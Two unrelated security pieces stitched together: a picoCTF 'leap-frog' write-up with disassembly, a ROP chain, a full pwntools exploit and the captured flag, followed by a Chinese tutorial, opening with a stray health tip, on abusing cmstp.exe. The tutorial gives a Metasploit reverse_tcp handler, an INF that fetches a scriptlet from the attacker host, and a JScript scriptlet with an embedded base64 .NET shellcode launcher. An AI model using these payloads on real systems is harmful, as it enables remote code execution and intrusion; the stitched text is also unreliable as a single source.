Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x080484d0]> s sym.leap3 [0x08048666]> agf [0x08048666]> # sym.leap3 (); .-------------------------------------. | 0x8048666 | | (fcn) sym.leap3 77 | | sym.leap3 (); | | ; var int32_t var_4h @ ebp-0x4 | | push ebp | | mov ebp, esp | | push ebx | | sub esp, 4 | | call sym.__x86.get_pc_thunk.ax;[oa] | | add eax, 0x198e | | movzx edx, byte [eax + 0x3d] | | test dl, dl | | je 0x8048699 | `-------------------------------------' f t | | | '----------------------. .--------------' | | | .---------------------------------. | | 0x8048682 | | | movzx edx, byte [eax + 0x3d] | | | xor edx, 1 | | | test dl, dl | | | je 0x8048699 | | `---------------------------------' | f t | | | | | '--------. | .------------------------' | | | | .----------------------' | | | .-----------------------------. .----------------------------------------------------. | 0x8048690 | | 0x8048699 | | mov byte [eax + 0x3f], 1 | | ; CODE XREFS from sym.leap3 @ 0x8048680, 0x804868e | | jmp 0x80486ad | | sub esp, 0xc | `-----------------------------' | lea edx, [eax - 0x1724] | v | ; const char *s | | | push edx | | | mov ebx, eax | | | ; int puts(const char *s) | | | call sym.imp.puts;[ob] | | | add esp, 0x10 | | `----------------------------------------------------' | v | | '------------------. | | .------------' | | .----------------------------------------. | 0x80486ad | | ; CODE XREF from sym.leap3 @ 0x8048697 | | nop | | mov ebx, dword [var_4h] | | leave | | ret | `----------------------------------------' ``` The command that sets `win3` to `true` is `mov byte [eax + 0x3f], 1`. However, we can't jump directly to it - our `eax` value won't match the address of `win3`. `eax` gets its value from: ```assembly call sym.__x86.get_pc_thunk.ax;[oa] add eax, 0x198e ``` However if we jump all the way there, we will fail the checks related to `win1 && !win1`. Therefore, we need to find a way to directly modify `win3` (`0x0804a03f`): ``` [0x08048666]> is~win 045 ---------- 0x0804a03d GLOBAL OBJ 1 win1 046 ---------- 0x0804a03f GLOBAL OBJ 1 win3 064 ---------- 0x0804a03e GLOBAL OBJ 1 win2 ``` Once that's done, we can call `leap2` and `leapA` in order to set `win2` and `win1` to `true`, and continue to `display_flag` in order to get the flag. We start by using `ROPgadget` to check which gadgets allow us to write to a memory address: ``` root@kali:/media/sf_CTFs/pico/leap-frog# ROPgadget --binary rop | grep "\[" ... 0x080485f3 : mov byte ptr [eax + 0x3d], 1 ; nop ; pop ebp ; ret ... ``` From the options provided by the tool, the best one actually seemed like the one we already met in `leap3`, adding `0x3d` to `eax` and setting the value to `1`. We just need to make sure that `eax == 0x0804a03f - 0x3d == 0x804a002` before jumping to that command. How do we set `eax` to `0x804a002`? Couldn't find anything easy like `pop`-ing a value from the stack (which we control) into `eax`. There was a gadget that allowed `pop`-ing into `ebx`, but no easy way to transfer from `ebx` to `eax`. The best thing I could find was a gadget which adds a value to `al`: ```assembly 0x08048ac0 : add al, byte ptr [ebp - 0x3b] ; ret ``` Therefore, my strategy was as follows: 1. Set `eax` to a value very close to the address of `win3`. This can be accomplished by simply calling `leapA`, which leaves `eax`'s value as the address of `win1` when exiting the function. 2. Add the missing delta (`&win3 - &win1 = 0x0804a03f - 0x0804a03d = 2`) to `eax` by using the gadget at `0x08048ac0`. Since we control `ebp`, we can point it to an address which satisfies the condition `ebp - 0x3b == 2`: ``` [0x080484d0]> /x 02000000 Searching 4 bytes in [0x804a03c-0x804a040] hits: 0 Searching 4 bytes in [0x8049f08-0x804a03c] hits: 1 Searching 4 bytes in [0x8048000-0x8048bbc] hits: 6 0x08049f80 hit1_0 02000000 0x080480b4 hit1_1 02000000 0x08048180 hit1_2 02000000 0x080481ac hit1_3 02000000 0x08048344 hit1_4 02000000 0x08048a20 hit1_5 02000000 0x08048bb0 hit1_6 02000000 ``` 3. Call the gadget at `0x080485f3` to set `win3` to `1`. 4. Proceed with calling the other functions... Here's our final ROP chain: ``` 0x0000: 0x80485e6 leapA() 0x0004: 0x8048ac0 add al, byte ptr [ebp - 0x3b] ; ret 0x0008: 0x80485f3 mov byte ptr [eax + 0x3d], 1 ; nop ; pop ebp ; ret 0x000c: 0xbabababa popped into ebp 0x0010: 0x80485fd leap2(0xdeadbeef) 0x0014: 0x8048409 <adjust @0x1c> pop ebx; ret 0x0018: 0xdeadbeef arg0 0x001c: 0x80485e6 leapA() 0x0020: 0x80486b3 display_flag() ``` The following script will print the flag: ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/leap-frog_3_5d6cea2f1cec97458549353ec1e7e158/rop #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Full RELRO # Stack: No canary found # NX: NX enabled # PIE: PIE enabled import os import numpy as np if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) def send_payload(proc, payload): proc.sendlineafter("Enter your input> ", payload) def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") os.system("rm core.* > /dev/null") proc = process(exe.path) payload = cyclic(50, n = exe.bytes) send_payload(proc, payload) proc.wait() offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes ) log.info("Overflow offset: {} ({}-byte architecture)".format(offset, exe.bytes)) return offset overflow_offset = get_overflow_offset() log.info("leapA() address: {}".format(hex(exe.symbols["leapA"]))) log.info("leap2() address: {}".format(hex(exe.symbols["leap2"]))) log.info("leap3() address: {}".format(hex(exe.symbols["leap3"]))) log.info("display_flag() address: {}".format(hex(exe.symbols["display_flag"]))) log.info("win1 address: {}".format(hex(exe.symbols["win1"]))) log.info("win2 address: {}".format(hex(exe.symbols["win2"]))) log.info("win3 address: {}".format(hex(exe.symbols["win3"]))) location_of_2 = next(exe.search(p32(2))) log.info("location_of_2 address: {}".format(hex(location_of_2))) rop = ROP(context.binary) rop.leapA() rop.raw(0x08048ac0) # add al, byte ptr [ebp - 0x3b] ; ret rop.raw(0x080485f3) # mov byte ptr [eax + 0x3d], 1 ; nop ; pop ebp ; ret rop.raw(0xBABABABA) # popped into ebp rop.leap2(0xDEADBEEF) rop.leapA() rop.display_flag() log.info("ROP: \n{}".format(rop.dump())) ebp = p32(location_of_2 + 0x3b) log.info("EBP: {}".format(hex(u32(ebp)))) payload = fit({overflow_offset - len(ebp): ebp + str(rop)}, filler = 'A') log.info("Payload: \n{}".format(hexdump(payload))) io = start() send_payload(io, payload) print io.recvall() ``` Output: ```console root@kali:/media/sf_CTFs/pico/leap-frog# python exploit.py [*] '/media/sf_CTFs/pico/leap-frog/rop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.zh7aJOoGFI' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/leap-frog_3_5d6cea2f1cec97458549353ec1e7e158' [+] Starting local process '/media/sf_CTFs/pico/leap-frog/rop': pid 3054 [*] Process '/media/sf_CTFs/pico/leap-frog/rop' stopped with exit code -11 (SIGSEGV) (pid 3054) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/pico/leap-frog/core.3054' Arch: i386-32-little EIP: 0x61616168 ESP: 0xffecda80 Exe: '/media/sf_CTFs/pico/leap-frog/rop' (0x8048000) Fault: 0x61616168 [*] Overflow offset: 28 (4-byte architecture) [*] leapA() address: 0x80485e6 [*] leap2() address: 0x80485fd [*] leap3() address: 0x8048666 [*] display_flag() address: 0x80486b3 [*] win1 address: 0x804a03d [*] win2 address: 0x804a03e [*] win3 address: 0x804a03f [*] location_of_2 address: 0x80480b4 [*] Loaded cached gadgets for 'rop' [*] ROP: 0x0000: 0x80485e6 leapA() 0x0004: 0x8048ac0 0x0008: 0x80485f3 0x000c: 0xbabababa 0x0010: 0x80485fd leap2(0xdeadbeef) 0x0014: 0x8048409 <adjust @0x1c> pop ebx; ret 0x0018: 0xdeadbeef arg0 0x001c: 0x80485e6 leapA() 0x0020: 0x80486b3 display_flag() [*] EBP: 0x80480ef [*] Payload: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000010 41 41 41 41 41 41 41 41 ef 80 04 08 e6 85 04 08 │AAAA│AAAA│····│····│ 00000020 c0 8a 04 08 f3 85 04 08 ba ba ba ba fd 85 04 08 │····│····│····│····│ 00000030 09 84 04 08 ef be ad de e6 85 04 08 b3 86 04 08 │····│····│····│····│ 00000040 [+] Starting remote process '/problems/leap-frog_3_5d6cea2f1cec97458549353ec1e7e158/rop' on 2019shell1.picoctf.com: pid 2657143 [+] Receiving all data: Done (50B) [*] Stopped remote process 'rop' on 2019shell1.picoctf.com (pid 2657143) picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_0db32718} ``` ## Alternative Solution: An alternative solution which is much simpler is to use `gets` to set all three globals to `true` (thanks to [Yaakov](https://twitter.com/YaakovCohen88) for this elegant solution): ```python overflow_offset = get_overflow_offset() log.info("win1 address: {}".format(hex(exe.symbols["win1"]))) log.info("display_flag() address: {}".format(hex(exe.symbols["display_flag"]))) rop = ROP(context.binary) rop.gets(exe.symbols["win1"]) rop.display_flag() log.info("ROP: \n{}".format(rop.dump())) payload = fit({overflow_offset: str(rop)}) io = start() send_payload(io, payload) io.sendline("\x01\x01\x01") print io.recvall() ```
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 ### Cmstp简介: Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用,则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。 微软官方文档: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp **说明:**Cmstp.exe所在路径已被系统添加PATH环境变量中,因此,Cmstp命令可识别,需注意x86,x64位的Cmstp调用。 Windows 2003 默认位置: ```bash C:\Windows\System32\cmstp.exe C:\Windows\SysWOW64\cmstp.exe ``` Windows 7 默认位置: ```bash C:\Windows\System32\cmstp.exe C:\Windows\SysWOW64\cmstp.exe ``` **攻击机:** 192.168.1.4 Debian **靶机:** 192.168.1.119 Windows 7 ### 配置攻击机msf: **注:x64 payload** ```bash msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target emsf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 ``` > ![](media/ee35110fac6445ca003afa5930687f9b.jpg) ### 靶机执行: ```bash cmstp.exe /ni /s C:\Users\John\Desktop\rev.inf ``` ![](media/f8ba68b01cc57ff5bf2e5a592f680561.jpg) ### 注:x64 payload ```bash msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (206403 bytes) to 192.168.1.5 [*] Meterpreter session 9 opened (192.168.1.4:53 ‐> 192.168.1.5:13220) at 2019‐01‐20 12:08:52 ‐0500 meterpreter > getuid Server username: John‐PC\John meterpreter > getpid Current pid: 8632 meterpreter > ``` ![](media/81f60ffe54cd72a80fd46bb154ef5e83.jpg) ### 附录: **Micropoor_rev_cmstp_inf:** ```ini [version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] %11%\scrobj.dll,NI,http://192.168.1.4/cmstp_rev_53_x64.sct [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="Micropoor" ShortSvcName="Micropoor" ``` **cmstp_rev_53_x64.sct** ```javascript <?XML version="1.0"?> <scriptlet> <registration progid="PoC" classid="{F0001111‐0000‐0000‐0000‐0000FEEDACDC}" > <script language="JScript"> <![CDATA[ function setversion() { } function debug(s) {} function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms; } var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdh dGVTZXJpYWxpemF0aW9uSG9sZGVy"+ "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+ "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+ "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+ "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+ "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+ "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+ "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+ "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+ "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+ "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+ "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+ "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+ "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+ "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+ "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+ "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+ "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+ "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+ "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+ "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+ "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABIAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+ "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABkhgIAYaVEXAAAAAAA"+ "AAAA8AAiIAsCCwAADAAAAAQAAAAAAAAAAAAAACAAAAAAAIABAAAAACAAAAACAAAEAAAAAAAAAAQA"+ "AAAAAAAAAGAAAAACAAAAAAAAAwBAhQAAQAAAAAAAAEAAAAAAAAAAABAAAAAAAAAgAAAAAAAAAAAA"+ "ABAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAACAAAEgAAAAAAAAAAAAAAC50ZXh0AAAATAoAAAAgAAAADAAAAAIAAAAAAAAAAAAAAAAAACAA"+ "AGAucnNyYwAAAJgCAAAAQAAAAAQAAAAOAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAAAAAAAGAA"+ "AAAAAAAAEgAAAAAAAAAAAAAAAAAAQAAAQkgAAAACAAUA7CIAAGAHAAABAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoBAAACgAA"+ "KAIAAAYAACoAAAAAAAAA/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pK"+ "TTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0"+ "Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhE"+ "i0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS///"+ "/11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAA1wKgBBEFUSYnkTInxQbpMdyYH/9VMiepo"+ "AQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ"+ "+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8Qg"+ "Xon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gA"+ "fShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dY"+ "agBZScfC8LWiVv/VAAATMAYAZQAAAAEAABEAIP4BAACNBgAAASXQAwAABCgGAAAKChYGjml+AQAA"+ "BH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHEQQWEgMoBAAA"+ "BgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMx"+ "OQAAAAAFAGwAAABgAgAAI34AAMwCAABIAwAAI1N0cmluZ3MAAAAAFAYAAAgAAAAjVVMAHAYAABAA"+ "AAAjR1VJRAAAACwGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWAAABAAAADwAA"+ "AAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEAAAABAAAA"+ "AQAAAAAACgABAAAAAAAGAD0ANgAGAE0BMQEGAGkBMQEGAJgBeAEGALgBeAEGANsBNgAGACUCeAEG"+ "AEACNgAGAHwCeAEGAIsCNgAGAJECNgAGALQCNgAGAOYCxwIGAPgCxwIGACsDGwMAAAAAAQAAAAAA"+ "AQABAAEAEAATABsABQABAAEAAAAAAOABAAAFAAMABwATAQAASgIAACEABAAHABEATwASABEAWgAS"+ "ABMBaAI+AFAgAAAAAIYYRAAKAAEAaCIAAAAAkQBKAA4AAQAAAAAAgACRIHEAFQABAAAAAACAAJEg"+ "fgAdAAUAAAAAAIAAkSCLACgACwDZIgAAAACRGBQDDgANAAAAAQCfAAAAAgCrAAAAAwCwAAAABADB"+ "AAAAAQDLAAAAAgDeAAAAAwDqAAAABAD5AAAABQD/AAAABgAPAQAAAQAaAQAAAgAiAREARAAuACEA"+ "RAA0ACkARAAKAAkARAAKADkARAAKAEkApAJCAGEAuwJKAGkA7gJPAGEA8wJYAHEARABkAHkARAAK"+ "ACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEA/gEAAAQAWwALAwABBwBxAAEAAAEJAH4A"+ "AQAAAQsAiwABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAANYBAAAEAAAAAAAAAAAAAAABAC0AAAAA"+ "AAQAAwAAAAA8TW9kdWxlPgAyMjIyLmRsbABQcm9ncmFtAFNoZWxsQ29kZUxhdW5jaGVyAG1zY29y"+ "bGliAFN5c3RlbQBPYmplY3QALmN0b3IATWFpbgBNRU1fQ09NTUlUAFBBR0VfRVhFQ1VURV9SRUFE"+ "V1JJVEUAVmlydHVhbEFsbG9jAENyZWF0ZVRocmVhZABXYWl0Rm9yU2luZ2xlT2JqZWN0AGxwU3Rh"+ "cnRBZGRyAHNpemUAZmxBbGxvY2F0aW9uVHlwZQBmbFByb3RlY3QAbHBUaHJlYWRBdHRyaWJ1dGVz"+ "AGR3U3RhY2tTaXplAGxwU3RhcnRBZGRyZXNzAHBhcmFtAGR3Q3JlYXRpb25GbGFncwBscFRocmVh"+ "ZElkAGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25zAFNl"+ "Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZQBTZWN1cml0eUFjdGlvbgBTeXN0ZW0uUnVudGltZS5D"+ "b21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNv"+ "bXBhdGliaWxpdHlBdHRyaWJ1dGUAMjIyMgBCeXRlADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRh"+ "aWxzPntBODMyQkQ0MS1EQjgyLTQ0NzEtOEMxRC1BMDlBNDFCQjAzRER9AENvbXBpbGVyR2VuZXJh"+ "dGVkQXR0cmlidXRlAFZhbHVlVHlwZQBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTUxMAAkJG1l"+ "dGhvZDB4NjAwMDAwMi0xAFJ1bnRpbWVIZWxwZXJzAEFycmF5AFJ1bnRpbWVGaWVsZEhhbmRsZQBJ"+ "bml0aWFsaXplQXJyYXkASW50UHRyAG9wX0V4cGxpY2l0AFN5c3RlbS5SdW50aW1lLkludGVyb3BT"+ "ZXJ2aWNlcwBNYXJzaGFsAENvcHkAWmVybwBEbGxJbXBvcnRBdHRyaWJ1dGUAa2VybmVsMzIALmNj"+ "dG9yAFN5c3RlbS5TZWN1cml0eQBVbnZlcmlmaWFibGVDb2RlQXR0cmlidXRlAAAAAAADIAAAAAAA"+ "Qb0yqILbcUSMHaCaQbsD3QAIt3pcVhk04IkDIAABAwAAAQIGCQcABAkJCQkJCgAGGAkJCRgJEAkF"+ "AAIJGAkFIAEBEQ0EIAEBCAQBAAAAAwYREAcAAgESKREtBAABGAoIAAQBHQUIGAgCBhgIBwUdBQkY"+ "CRgEIAEBDggBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwGAni4BgIRTeXN0"+ "ZW0uU2VjdXJpdHkuUGVybWlzc2lvbnMuU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlLCBtc2Nv"+ "cmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3"+ "N2E1YzU2MTkzNGUwODkVAVQCEFNraXBWZXJpZmljYXRpb24BAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"+ "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAA8AgAAAAAAAAAAAAA8AjQAAABW"+ "AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA"+ "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"+ "AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEnAEAAAEAUwB0AHIAaQBuAGcA"+ "RgBpAGwAZQBJAG4AZgBvAAAAeAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBE"+ "AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4A"+ "AAAAADAALgAwAC4AMAAuADAAAAA0AAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAADIAMgAy"+ "ADIALgBkAGwAbAAAAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAADwA"+ "CQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAAAyADIAMgAyAC4AZABsAGwAAAAA"+ "ADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAA4AAgA"+ "AQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVm"+ "bGVjdGlvbi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA"; var entry_class = 'ShellCodeLauncher.Program'; try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); } catch (e) { debug(e.message); } ]]> </script> </registration> </scriptlet> ``` > Micropoor
sec-knowleage
